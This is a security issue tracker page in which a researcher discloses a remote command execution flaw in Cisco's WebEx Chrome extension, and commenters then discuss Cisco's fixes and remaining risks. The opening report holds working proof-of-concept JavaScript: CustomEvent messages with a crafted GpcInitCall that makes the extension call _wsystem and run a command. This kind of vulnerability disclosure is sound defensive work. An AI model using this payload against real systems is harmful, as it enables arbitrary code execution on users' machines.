New issue
Advanced search Search tips
Starred by 23 users

Issue metadata

Status: Fixed
Closed: Jan 2017

Blocked on:
issue 1100
issue 1324

Sign in to add a comment

Issue 1096: Cisco: Magic WebEx URL Allows Arbitrary Remote Command Execution

Reported by, Jan 21 2017 Project Member

Issue description

Cisco's WebEx extension (jlhmfgmfgeifomenelglieieghnjghma) has ~20M active users, and is part of Cisco's popular web conferencing software.

The extension works on any URL that contains the magic pattern "cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html", which can be extracted from the extensions manifest. Note that the pattern can occur in an iframe, so there is not necessarily any user-visible indication of what is happening, visiting any website would be enough.

The extension uses nativeMessaging, so this magic string is enough for any website to execute arbitrary code (!!).

The protocol the extension uses is complicated, using CustomEvent() objects to pass JSON messages between the webpage, the extension and the native code.

Stepping through an initialization, a website must first request that the extension open a port for communication, like this:

document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string

Then messages can passed to native code via "message" events. Note that these cannot be MessageEvent() objects, and you cannot use the postMessage API, they have to be CustomEvent() objects.

There are a few different message types, such as "hello", "disconnect", etc. The most interesting is "launch_meeting":

    document.dispatchEvent(new CustomEvent("message", { detail: {
            message: JSON.stringify(msg),
            message_type: "launch_meeting",
            timestamp: (new Date()).toUTCString(),
            token: "token"

I stepped through a meeting and dumped the initialization messages:

> message.message
"{"DocshowVersion": "1.0",
"FilterSecParameters": "clientparam;clientparam_value",
"GpcProductRoot": "WebEx",
"GpcMovingInSubdir": "Wanta",
"GpcProductVersion": "T30_MC",
"GpcUpgradeManagement": "false",
"GpcCompatibleDesktopClients": "",
"enableQuickLaunch": "1",
"GpcProductDescription": "V2ViRXg=",
"GpcUnpackName": "atgpcdec",
"JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll",
"jmtclicklog": "1484862376664",
"GpcExtName": "atgpcext",
"GpcUnpackVersion": "27, 17, 2016, 501",
"GpcExtVersion": "3015, 0, 2016, 1117",
"GpcUrlRoot": "",
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcCompressMethod": "7z",
"GpcActiveIniSection": "V2ViRXhfVg==",
"GpcSupportPageUrl": "",
"GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg==

There are a huge number of properties, many are obviously good candidates for code execution, but these jumped out at me:

"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==",

If we decode those strings, we get:

GpcComponentName: "atmccli.DLL"
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"

That looks like some sort of weird scripting language. The presence of `HWND` suggests this is interacting with native code, and if I dump the exports of atmccli.DLL:

$ dumpbin /nologo /exports atmccli.dll

Dump of file atmccli.dll

    ordinal hint RVA      name

          2    2 0001CC11 ExitControl
         24    3 0001CC83 FinishCall
          1    4 0001D2F9 InitControl <--
         23    5 0001D556 NameValue

These exports look like the functions being called in that scripting language. Is it possible it's calling those exports?

I noticed that they ship a copy of the CRT (Microsoft's C Runtime, containing standard routines like printf, malloc, etc), so I tried calling the standard _wsystem() routime (like system(), but for WCHAR strings), like this:

var msg = {
    GpcProductRoot: "WebEx",
    GpcMovingInSubdir: "Wanta",
    GpcProductVersion: "T30_MC",
    GpcUnpackName: "atgpcdec",
    GpcExtName: "atgpcext",
    GpcUnpackVersion: "27, 17, 2016, 501",
    GpcExtVersion: "3015, 0, 2016, 1117",
    GpcUrlRoot: "",
    GpcComponentName: btoa("MSVCR100.DLL"),
    GpcSuppressInstallation: btoa("True"),
    GpcFullPage: "True",
    GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
    ExploitShellCommand: btoa("calc.exe"),

Unbelievably, that worked.

Example exploit attached.

I uploaded a demo here for testing (this URL is secret)

(You can make sure WebEx is installed and working first by going here. You don't need to register, just enter any name and email)

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
1.4 KB View Download
Windows 7-2017-01-19-17-12-01.png
110 KB View Download

Comment 1 by, Jan 21 2017

Project Member
Issue 1092 has been merged into this issue.

Comment 2 by, Jan 21 2017

Project Member

Hi Tavis,


For your reference we are tracking this under      PSIRT-0085137008

Thanks for reporting this to us.


Comment 3 by, Jan 21 2017

Project Member
I notified the cws team [chrome web store] about this issue, they have their own policies about vulnerable extensions that is separate to Project Zero's policies.

They have decided to temporarily block new installations until the matter is resolved, and intend to notify the developer about their expectations.

Comment 4 Deleted

Comment 5 by, Jan 21 2017

Project Member
Cisco have asked if limiting the magic URL to https://* would be an acceptable fix.

I think so, although this does mean any XSS on would allow remote code execution. If they think that is an acceptable risk, it's okay with me.

Comment 6 Deleted

Comment 7 by, Jan 23 2017

Project Member
Labels: -Restrict-View-Commit
Status: Fixed (was: New)
It looks like a new version is being rolled out right now (version 1.0.3) that contains that change.

That was a really impressive response time from Cisco over the weekend.

This means that if a site is not * or *, then the user must click OK for code execution to happen.

I think we will consider this issue fixed now. Hopefully, is well maintained and not full of XSS.

Comment 8 by, Jan 23 2017

Although I am not a member of the Chromium team, I just wanted to voice my extreme dubiousness about this fix.

We are talking about a domain ( that:

a) doesn't use HTTP Strict Transport Security, either as a header or by being preloaded
b) doesn't use CSP
c) indeed, doesn't seem to follow any of the most basic of web hygiene tasks:

And they are being allowed to have that domain execute any arbitrary local code?  Reflected XSS is, by far, the most commonly seen class of web bugs, and any reflected XSS on their domain can execute arbitrary local code?

If I'm an adversary and I can find a single XSS on that domain, all I need to do at any point in the future is intercept an outgoing HTTP request from Chrome, insert a 302 redirect, and I have an instant RCE on who knows how many machines?  At least 10M, according to the extension page.

I would expect, at the very minimum, for the requirements to be:

a) limiting the ability to make these calls to a purpose-built and extremely limited domain that does nothing else and
b) require a very strong and specific CSP policy to mitigate an XSSes found on that domain

Sorry if I'm being a bit hyperbolic, I'm just trying to understand the rationale behind the acceptance of their fix.

Comment 9 by, Jan 23 2017

Project Member
Thanks April, I completely agree, I'd like to see those requirements as well. I know I used the term "acceptable" above, but I didn't mean to imply we had any authority to accept or reject fixes - we can only make recommendations to vendors, and our only recourse is public disclosure.

Hopefully this issue being made public will help reinforce to the vendor how important this is.

Comment 10 by, Jan 23 2017

Project Member
The old extension is still linked in this support article

I'm going to ping PSIRT and remind them to update it.

Comment 11 by, Jan 23 2017

Per, there are currently 544 unique subdomains (hostnames mapped to an IP address). It would be wise to limit the RCE capability to a few specific hosts, as the total global number of hosts without XSS is probably lower than 544.

Comment 12 by, Jan 23 2017

Project Member
Thanks Mitja, good idea, I'll pass that on.

Comment 13 by, Jan 23 2017

The WebEx extension has now been blocked in Firefox, pending a fix:

I don't know if Safari and/or IE/Edge have the same problem; have they been notified to check?

Comment 14 by, Jan 23 2017

@mitja I understand your concern here. The reason there is so many sub domains is that enterprise customers get one for their WebEx instance. The sub domain is used in emailed links and calendar invites. Limiting the sub domains that trigger the integration will break the extension for those customers. 

Note: I'm not from Cisco, I'm just a lowly WebEx user.

Comment 15 by, Jan 23 2017

Me and a colleague just tried the "update" version of the webex app in the chrome web store Version: 1.0.3
Updated: January 22, 2017
and we still found that this works on the latest version for chrome.

Comment 16 by, Jan 24 2017

Project Member
@apking: I don't know if those exist, I can ping some contacts to find out.

@cn04142: I've verified that 1.0.3 does contain the fix, so I'm not sure why your update isn't working. I think we would need Cisco's help to debug that, do you have access to WebEx support?

Comment 17 by, Jan 24 2017

Project Member
I should note that if you're not technically inclined and find the update doesn't work, you should disable the extension immediately and then contact WebEx support.

I haven't been able to reproduce that problem, and I'm not sure what would cause it. I'm not in a position to debug it, but WebEx will be able to help you.

Comment 18 by, Jan 24 2017

I've never been involved here, so I understand if my comments are dismissed.

"This means that if a site is not * or *, then the user must click OK for code execution to happen."
This means that if I obtain or gain control of an enterprise account with Cisco, I can launch this exploit on anyone - this puts us back at square one.

Additionally, users are accustomed to clicking "OK" and most won't put much effort into understanding why they're being asked to click. Does the dialog with the "OK" button contain a loud warning that clicking "OK" gives someone the ability to run arbitrary code outside the browser?

I would like to argue that the underlying problem with the WebEx extension is that there ought to be a barrier between code run in a browser and code run natively on the host, and that that barrier ought not be breached without very careful consideration (if at all).

Comment 19 by, Jan 24 2017

Project Member
@nstr10 I agree and understand, but Project Zero has no authority to enforce coding standards over other vendors. Our only recourse is the public disclosure of our research, we can make recommendations about best practices, but we have no ability to enforce that.

I would recommend you contact WebEx (especially if you have a support contract) and explain your concerns to them,

I have no reason to believe Cisco read any comments posted on our issue tracker. While I can forward your concerns to them - they have no more reason to listen to me than they do to you (in fact, if you're a WebEx customer then your opinion has more weight than mine).

Comment 20 by, Jan 24 2017

> The reason there is so many sub domains is that enterprise customers get one for their WebEx instance. The sub domain is used in emailed links and calendar invites. Limiting the sub domains that trigger the integration will break the extension for those customers. 

Then Cisco should maintain a whitelist and only allow these calls from the domains that are in the whitelist.  Allowing it from arbitrary WebEx domains is madness.

I mean, do you trust (the arbitrarily picked) to not have any kind of XSS on it?  The banner at the bottom seems to indicate that the site hasn't been updated since 2011.  What about  It has an IIS 6 splash page; IIS 6, notably, was end-of-lifed in 2015.  It supports RC4, an encryption cipher known to be insecure.  These are the people that we're trusting to not make an extremely common mistake that has a side effect of allowing arbitrary code execution on a local machine?

In my opinion this is an extremely dangerous hole to leave open.  We're wrapping browsers in 50 layers of sandboxing, but we're willing to let an entire sprawling domain execute arbitrary system commands?

a) allowing all of * to execute commands is way too much surface area
b) allowing other domains to execute commands by merely clicking OK is a security nightmare; we've spent literal decades failing to get users to not do this, and
c) this entire design of passing arbitrary commands from an extension to local code is architecturally a poor choice; why does it need to pass anything other than a URL or a meeting code?

Comment 21 by, Jan 24 2017

It is probably no worse than ActiveX though, but ActiveX does require that the code be signed if I remember correctly.

Comment 22 by, Jan 24 2017

As far as I can tell, the real fix by Cisco should be to re-engineer how the plugin talks to native code. Like @apking suggested, the native app should not be allowed to accept anything but a meeting URL, and info required to join that meeting (password, user's name, etc.).

The update provided does nothing to improve the situation.

Unfortunately, I, also do not have a WebEx contract, and therefore have no power here.

Comment 23 by, Jan 24 2017

FWIW, the extension isn't really required to join Webex meetings. I did not like the extension asking for permission to "Read and change all your data on the websites you visit" and have never installed it. Webex meetings (test at prompt for the extension to be installed or have a executable run and I have been choosing the executable every time for the past few years.
Webex meeting.PNG
91.2 KB View Download

Comment 24 by, Jan 24 2017

I see now that the web store lists version 1.0.5, but I haven't had luck in locating a changelist (though someone commented that, "This issue has been resolved in 1.0.5").

Anyone have the inside track? I'm not comfortable even with the 1.0.3-grade fix, and want to know if it's still as vulnerable.

Comment 25 by, Jan 24 2017

Project Member
I took a look, they've added a whitelist for the GpcComponentName property.

That's a really big improvement.

Although there are many other properties that are likely exploitable (e.g. I think GpcExtName has a path traversal) that I haven't really looked at. Note that you would need an XSS on to exploit that without user interaction.

Comment 26 by, Jan 24 2017

@taviso we do, I'll see if I can get on a call with them today and see, I had a colleague who never had the extension installed install it for the first time to test it. We also have the WebEx productivity tools installed so we are also going to test and see if that is related.

Comment 27 Deleted

Comment 28 by, Jan 24 2017

Hi - I'm with Cisco and reading this but not the right person to fix Webex. However, if you email me at , I will put you in contact with correct people. The best email for security issues at Cisco is More contact info at   Obviously we want to remove any security venerability's/

Comment 29 by, Jan 24 2017

According to a recent post by Cisco, 1.0.5 is the official fix:

Comment 30 by, Jan 24 2017

I should also mention it appears Chrome needs to be restarted for the update to take effect.

Comment 31 by, Jan 24 2017

Why was this publicly disclosed within the 90 days? 
Just curious

Comment 32 by, Jan 24 2017

Cisco bug id: CSCvc86959

Comment 33 by, Jan 24 2017

Project Member
As per industry standards, Project Zero publishes advisories when fixes are made available.

If a fix is not available within 90 days, then we disclose publically. 

Please note that this is not a discussion or support forum.

Comment 34 by, Jan 25 2017

Will updating or reinstalling Chrome force the Cisco Webex extension to update to the latest version of the extension (1.0.5) and eliminate it from being subceptible to the flaw?

Comment 35 by, Jan 25 2017

Project Member
@hamhoward I believe that will trigger an extensions update, yes.

I have a example payload that works if you combine it with an XSS on now, I'll forward it to cisco.

Comment 36 by, Jan 25 2017

@taviso okay, when I reinstalled Chrome it kept the previously installed extensions that were tied to it. I just wasn't sure how often or if a reinstall would force Chrome to check for updates of the extensions. Management is forcing IT to find a fix or uninstall the browser, we would love to tell them we have one.

Comment 37 by, Jan 25 2017

Project Member
Blockedon: 1100

Comment 38 by, Jan 25 2017

Project Member
 issue 1100  is a bypass that still allows code execution on 1.0.5.

I have reported it to Cisco PSIRT.

The issue requires some details that maybe considered new vulnerabilities, so the details are not available here until a patch is available.

Comment 39 by, Jan 25 2017

How can I get detail of 1100?

Comment 40 by, Jan 25 2017

Project Member
Can you give me your address? I will forward you details.

Comment 41 Deleted

Comment 42 Deleted

Comment 43 Deleted

Comment 44 by, Feb 3 2017

Project Member
Labels: -Reported-2017-01-19 Reported-2017-Jan-19

Comment 45 Deleted

Comment 46 Deleted

Comment 47 Deleted

Comment 48 Deleted

Comment 49 Deleted

Comment 50 by, Mar 21 2017

You could create a profile that is only used for WebEx:

Comment 51 by, Jul 6 2017

Project Member
Blockedon: 1324

Sign in to add a comment